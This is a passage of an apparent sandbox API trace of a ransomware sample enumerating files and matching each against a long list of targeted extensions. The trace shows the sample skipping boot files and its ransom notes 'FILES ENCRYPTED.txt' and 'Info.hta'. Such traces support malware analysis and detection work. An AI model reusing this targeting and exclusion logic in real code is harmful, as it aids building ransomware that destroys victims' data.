[0183.037] lstrlenW (lpString=".dic") returned 4 [0183.037] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0183.037] lstrlenW (lpString=".dif") returned 4 [0183.037] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0183.037] lstrlenW (lpString=".divx") returned 5 [0183.037] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1 [0183.037] lstrlenW (lpString=".djvu") returned 5 [0183.037] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1 [0183.037] lstrlenW (lpString=".dng") returned 4 [0183.037] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0183.037] lstrlenW (lpString=".doc") returned 4 [0183.037] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0183.037] lstrlenW (lpString=".docm") returned 5 [0183.037] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1 [0183.037] lstrlenW (lpString=".docx") returned 5 [0183.037] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0183.037] lstrlenW (lpString=".dot") returned 4 [0183.037] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0183.037] lstrlenW (lpString=".dotm") returned 5 [0183.037] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1 [0183.037] lstrlenW (lpString=".dotx") returned 5 [0183.037] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1 [0183.037] lstrlenW (lpString=".dpx") returned 4 [0183.037] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0183.037] lstrlenW (lpString=".dqy") returned 4 [0183.037] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0183.038] lstrlenW (lpString=".dsn") returned 4 [0183.038] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0183.038] lstrlenW (lpString=".dt") returned 3 [0183.038] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0183.038] lstrlenW (lpString=".dtd") returned 4 [0183.038] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0183.038] lstrlenW (lpString=".dwg") returned 4 [0183.038] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0183.038] lstrlenW (lpString=".dwt") returned 4 [0183.038] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0183.038] lstrlenW (lpString=".dx") returned 3 [0183.038] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0183.038] lstrlenW (lpString=".dxf") returned 4 [0183.038] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0183.038] lstrlenW (lpString=".edml") returned 5 [0183.038] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1 [0183.038] lstrlenW (lpString=".efd") returned 4 [0183.038] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0183.038] lstrlenW (lpString=".elf") returned 4 [0183.038] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0183.038] lstrlenW (lpString=".emf") returned 4 [0183.038] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0183.038] lstrlenW (lpString=".emz") returned 4 [0183.038] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0183.038] lstrlenW (lpString=".epf") returned 4 [0183.038] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0183.038] lstrlenW (lpString=".eps") returned 4 [0183.038] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0183.038] lstrlenW (lpString=".epsf") returned 5 [0183.038] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1 [0183.038] lstrlenW (lpString=".epsp") returned 5 [0183.038] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1 [0183.038] lstrlenW (lpString=".erf") returned 4 [0183.038] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0183.039] lstrlenW (lpString=".exr") returned 4 [0183.039] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0183.039] lstrlenW (lpString=".f4v") returned 4 [0183.039] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0183.039] lstrlenW (lpString=".fido") returned 5 [0183.039] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1 [0183.039] lstrlenW (lpString=".flm") returned 4 [0183.039] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0183.039] lstrlenW (lpString=".flv") returned 4 [0183.039] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0183.039] lstrlenW (lpString=".frm") returned 4 [0183.039] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0183.039] lstrlenW (lpString=".fxg") returned 4 [0183.039] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0183.039] lstrlenW (lpString=".geo") returned 4 [0183.039] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0183.039] lstrlenW (lpString=".gif") returned 4 [0183.039] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0183.039] lstrlenW (lpString=".grs") returned 4 [0183.039] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0183.039] lstrlenW (lpString=".gz") returned 3 [0183.039] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0183.039] lstrlenW (lpString=".h") returned 2 [0183.039] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0183.039] lstrlenW (lpString=".hdr") returned 4 [0183.039] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0183.039] lstrlenW (lpString=".hpp") returned 4 [0183.039] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0183.039] lstrlenW (lpString=".hta") returned 4 [0183.039] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0183.039] lstrlenW (lpString=".htc") returned 4 [0183.039] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0183.040] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x193, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0183.091] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0183.091] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0183.091] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0183.092] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0183.092] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7a12def, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0183.092] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0183.092] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE") returned 100 [0183.092] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7a12def, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0183.093] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7a12def, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0183.093] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c9b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0183.093] lstrlenW (lpString="index.html") returned 10 [0183.093] lstrlenW (lpString=".1cd") returned 4 [0183.093] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0183.093] lstrlenW (lpString=".3ds") returned 4 [0183.094] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1 [0183.094] lstrlenW (lpString=".3fr") returned 4 [0183.094] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1 [0183.094] lstrlenW (lpString=".3g2") returned 4 [0183.094] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1 [0183.094] lstrlenW (lpString=".3gp") returned 4 [0183.094] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1 [0183.094] lstrlenW (lpString=".7z") returned 3 [0183.094] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0183.094] lstrlenW (lpString=".accda") returned 6 [0183.094] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1 [0183.094] lstrlenW (lpString=".accdb") returned 6 [0183.094] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1 [0183.094] lstrlenW (lpString=".accdc") returned 6 [0183.094] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1 [0183.094] lstrlenW (lpString=".accde") returned 6 [0183.094] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1 [0183.094] lstrlenW (lpString=".accdt") returned 6 [0183.094] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1 [0183.094] lstrlenW (lpString=".accdw") returned 6 [0183.094] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1 [0183.094] lstrlenW (lpString=".adb") returned 4 [0183.094] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1 [0183.094] lstrlenW (lpString=".adp") returned 4 [0183.094] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1 [0183.094] lstrlenW (lpString=".ai") returned 3 [0183.094] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1 [0183.094] lstrlenW (lpString=".ai3") returned 4 [0183.094] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1 [0183.094] lstrlenW (lpString=".ai4") returned 4 [0183.094] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1 [0183.095] lstrlenW (lpString=".ai5") returned 4 [0183.095] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1 [0183.095] lstrlenW (lpString=".ai6") returned 4 [0183.095] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1 [0183.095] lstrlenW (lpString=".ai7") returned 4 [0183.095] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1 [0183.095] lstrlenW (lpString=".ai8") returned 4 [0183.095] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1 [0183.095] lstrlenW (lpString=".anim") returned 5 [0183.095] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1 [0183.095] lstrlenW (lpString=".arw") returned 4 [0183.095] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1 [0183.095] lstrlenW (lpString=".as") returned 3 [0183.095] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1 [0183.095] lstrlenW (lpString=".asa") returned 4 [0183.095] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1 [0183.095] lstrlenW (lpString=".asc") returned 4 [0183.095] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1 [0183.095] lstrlenW (lpString=".ascx") returned 5 [0183.095] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1 [0183.095] lstrlenW (lpString=".asm") returned 4 [0183.095] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1 [0183.095] lstrlenW (lpString=".asmx") returned 5 [0183.095] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1 [0183.095] lstrlenW (lpString=".asp") returned 4 [0183.095] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1 [0183.095] lstrlenW (lpString=".aspx") returned 5 [0183.095] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1 [0183.095] lstrlenW (lpString=".asr") returned 4 [0183.095] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1 [0183.096] lstrlenW (lpString=".asx") returned 4 [0183.096] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1 [0183.096] lstrlenW (lpString=".avi") returned 4 [0183.096] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1 [0183.096] lstrlenW (lpString=".avs") returned 4 [0183.096] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1 [0183.096] lstrlenW (lpString=".backup") returned 7 [0183.096] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1 [0183.096] lstrlenW (lpString=".bak") returned 4 [0183.096] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1 [0183.096] lstrlenW (lpString=".bay") returned 4 [0183.096] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1 [0183.096] lstrlenW (lpString=".bd") returned 3 [0183.096] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1 [0183.096] lstrlenW (lpString=".bin") returned 4 [0183.096] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1 [0183.096] lstrlenW (lpString=".bmp") returned 4 [0183.096] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1 [0183.096] lstrlenW (lpString=".bz2") returned 4 [0183.096] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0183.096] lstrlenW (lpString=".c") returned 2 [0183.096] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0183.096] lstrlenW (lpString=".cdr") returned 4 [0183.096] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1 [0183.096] lstrlenW (lpString=".cer") returned 4 [0183.096] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1 [0183.096] lstrlenW (lpString=".cf") returned 3 [0183.096] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1 [0183.096] lstrlenW (lpString=".cfc") returned 4 [0183.096] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1 [0183.096] lstrlenW (lpString=".cfm") returned 4 [0183.097] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1 [0183.097] lstrlenW (lpString=".cfml") returned 5 [0183.097] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1 [0183.097] lstrlenW (lpString=".cfu") returned 4 [0183.097] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1 [0183.097] lstrlenW (lpString=".chm") returned 4 [0183.097] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1 [0183.097] lstrlenW (lpString=".cin") returned 4 [0183.097] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1 [0183.097] lstrlenW (lpString=".class") returned 6 [0183.097] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1 [0183.097] lstrlenW (lpString=".clx") returned 4 [0183.097] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1 [0183.097] lstrlenW (lpString=".config") returned 7 [0183.097] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1 [0183.097] lstrlenW (lpString=".cpp") returned 4 [0183.097] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1 [0183.097] lstrlenW (lpString=".cr2") returned 4 [0183.097] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1 [0183.097] lstrlenW (lpString=".crt") returned 4 [0183.097] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1 [0183.097] lstrlenW (lpString=".crw") returned 4 [0183.097] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1 [0183.097] lstrlenW (lpString=".cs") returned 3 [0183.097] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1 [0183.097] lstrlenW (lpString=".css") returned 4 [0183.097] lstrcmpiW (lpString1=".css", lpString2="html") returned -1 [0183.097] lstrlenW (lpString=".csv") returned 4 [0183.097] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1 [0183.097] lstrlenW (lpString=".cub") returned 4 [0183.097] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1 [0183.098] lstrlenW (lpString=".dae") returned 4 [0183.098] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1 [0183.098] lstrlenW (lpString=".dat") returned 4 [0183.098] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1 [0183.098] lstrlenW (lpString=".db") returned 3 [0183.098] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1 [0183.098] lstrlenW (lpString=".dbf") returned 4 [0183.098] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0183.098] lstrlenW (lpString=".dbx") returned 4 [0183.098] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1 [0183.098] lstrlenW (lpString=".dc3") returned 4 [0183.098] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1 [0183.098] lstrlenW (lpString=".dcm") returned 4 [0183.098] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1 [0183.098] lstrlenW (lpString=".dcr") returned 4 [0183.098] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1 [0183.098] lstrlenW (lpString=".der") returned 4 [0183.098] lstrcmpiW (lpString1=".der", lpString2="html") returned -1 [0183.098] lstrlenW (lpString=".dib") returned 4 [0183.098] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1 [0183.098] lstrlenW (lpString=".dic") returned 4 [0183.098] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1 [0183.098] lstrlenW (lpString=".dif") returned 4 [0183.098] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1 [0183.098] lstrlenW (lpString=".divx") returned 5 [0183.098] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1 [0183.098] lstrlenW (lpString=".djvu") returned 5 [0183.098] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1 [0183.098] lstrlenW (lpString=".dng") returned 4 [0183.098] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1 [0183.098] lstrlenW (lpString=".doc") returned 4 [0183.098] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0183.099] lstrlenW (lpString=".docm") returned 5 [0183.099] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1 [0183.099] lstrlenW (lpString=".docx") returned 5 [0183.099] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0183.099] lstrlenW (lpString=".dot") returned 4 [0183.099] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1 [0183.099] lstrlenW (lpString=".dotm") returned 5 [0183.099] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1 [0183.099] lstrlenW (lpString=".dotx") returned 5 [0183.099] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1 [0183.099] lstrlenW (lpString=".dpx") returned 4 [0183.099] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1 [0183.099] lstrlenW (lpString=".dqy") returned 4 [0183.099] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1 [0183.099] lstrlenW (lpString=".dsn") returned 4 [0183.099] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1 [0183.099] lstrlenW (lpString=".dt") returned 3 [0183.099] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1 [0183.099] lstrlenW (lpString=".dtd") returned 4 [0183.099] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1 [0183.099] lstrlenW (lpString=".dwg") returned 4 [0183.099] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1 [0183.099] lstrlenW (lpString=".dwt") returned 4 [0183.099] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1 [0183.099] lstrlenW (lpString=".dx") returned 3 [0183.099] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1 [0183.099] lstrlenW (lpString=".dxf") returned 4 [0183.099] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1 [0183.099] lstrlenW (lpString=".edml") returned 5 [0183.099] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1 [0183.099] lstrlenW (lpString=".efd") returned 4 [0183.099] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1 [0183.099] lstrlenW (lpString=".elf") returned 4 [0183.099] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1 [0183.100] lstrlenW (lpString=".emf") returned 4 [0183.100] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1 [0183.100] lstrlenW (lpString=".emz") returned 4 [0183.100] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1 [0183.100] lstrlenW (lpString=".epf") returned 4 [0183.100] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1 [0183.100] lstrlenW (lpString=".eps") returned 4 [0183.100] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1 [0183.100] lstrlenW (lpString=".epsf") returned 5 [0183.100] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1 [0183.100] lstrlenW (lpString=".epsp") returned 5 [0183.100] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1 [0183.100] lstrlenW (lpString=".erf") returned 4 [0183.100] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1 [0183.100] lstrlenW (lpString=".exr") returned 4 [0183.100] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1 [0183.100] lstrlenW (lpString=".f4v") returned 4 [0183.100] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1 [0183.100] lstrlenW (lpString=".fido") returned 5 [0183.100] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1 [0183.100] lstrlenW (lpString=".flm") returned 4 [0183.100] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1 [0183.100] lstrlenW (lpString=".flv") returned 4 [0183.100] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1 [0183.100] lstrlenW (lpString=".frm") returned 4 [0183.100] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1 [0183.100] lstrlenW (lpString=".fxg") returned 4 [0183.100] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1 [0183.100] lstrlenW (lpString=".geo") returned 4 [0183.100] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1 [0183.100] lstrlenW (lpString=".gif") returned 4 [0183.100] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1 [0183.100] lstrlenW (lpString=".grs") returned 4 [0183.100] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1 [0183.100] lstrlenW (lpString=".gz") returned 3 [0183.101] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1 [0183.101] lstrlenW (lpString=".h") returned 2 [0183.101] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0183.101] lstrlenW (lpString=".hdr") returned 4 [0183.101] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1 [0183.101] lstrlenW (lpString=".hpp") returned 4 [0183.101] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1 [0183.101] lstrlenW (lpString=".hta") returned 4 [0183.101] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1 [0183.101] lstrlenW (lpString=".htc") returned 4 [0183.101] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1 [0183.101] lstrlenW (lpString=".htm") returned 4 [0183.101] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1 [0183.101] lstrlenW (lpString=".html") returned 5 [0183.101] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0 [0183.101] lstrlenW (lpString="index.html") returned 10 [0183.101] lstrlenW (lpString=".NEWS") returned 5 [0183.101] lstrcmpiW (lpString1=".NEWS", lpString2=".html") returned 1 [0183.101] lstrlenW (lpString="index.html") returned 10 [0183.101] lstrcmpiW (lpString1="boot.ini", lpString2="index.html") returned -1 [0183.101] lstrcmpiW (lpString1="bootfont.bin", lpString2="index.html") returned -1 [0183.101] lstrcmpiW (lpString1="ntldr", lpString2="index.html") returned 1 [0183.101] lstrcmpiW (lpString1="ntdetect.com", lpString2="index.html") returned 1 [0183.101] lstrcmpiW (lpString1="io.sys", lpString2="index.html") returned 1 [0183.101] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="index.html") returned -1 [0183.101] lstrcmpiW (lpString1="Info.hta", lpString2="index.html") returned 1 [0183.101] lstrcmpiW (lpString1="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe", lpString2="index.html") returned -1 [0183.101] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\index.html") returned 111 [0183.101] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0183.101] lstrlenW (lpString="toastbeginupgrade.xml") returned 21 [0183.102] lstrlenW (lpString=".1cd") returned 4 [0183.102] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0183.102] lstrlenW (lpString=".3ds") returned 4 [0183.102] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0183.102] lstrlenW (lpString=".3fr") returned 4 [0183.102] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0183.102] lstrlenW (lpString=".3g2") returned 4 [0183.102] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0183.102] lstrlenW (lpString=".3gp") returned 4 [0183.102] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0183.102] lstrlenW (lpString=".7z") returned 3 [0183.102] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0183.102] lstrlenW (lpString=".accda") returned 6 [0183.102] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1 [0183.102] lstrlenW (lpString=".accdb") returned 6 [0183.102] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1 [0183.102] lstrlenW (lpString=".accdc") returned 6 [0183.102] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1 [0183.102] lstrlenW (lpString=".accde") returned 6 [0183.102] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1 [0183.102] lstrlenW (lpString=".accdt") returned 6 [0183.102] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1 [0183.102] lstrlenW (lpString=".accdw") returned 6 [0183.102] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1 [0183.102] lstrlenW (lpString=".adb") returned 4 [0183.102] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0183.102] lstrlenW (lpString=".adp") returned 4 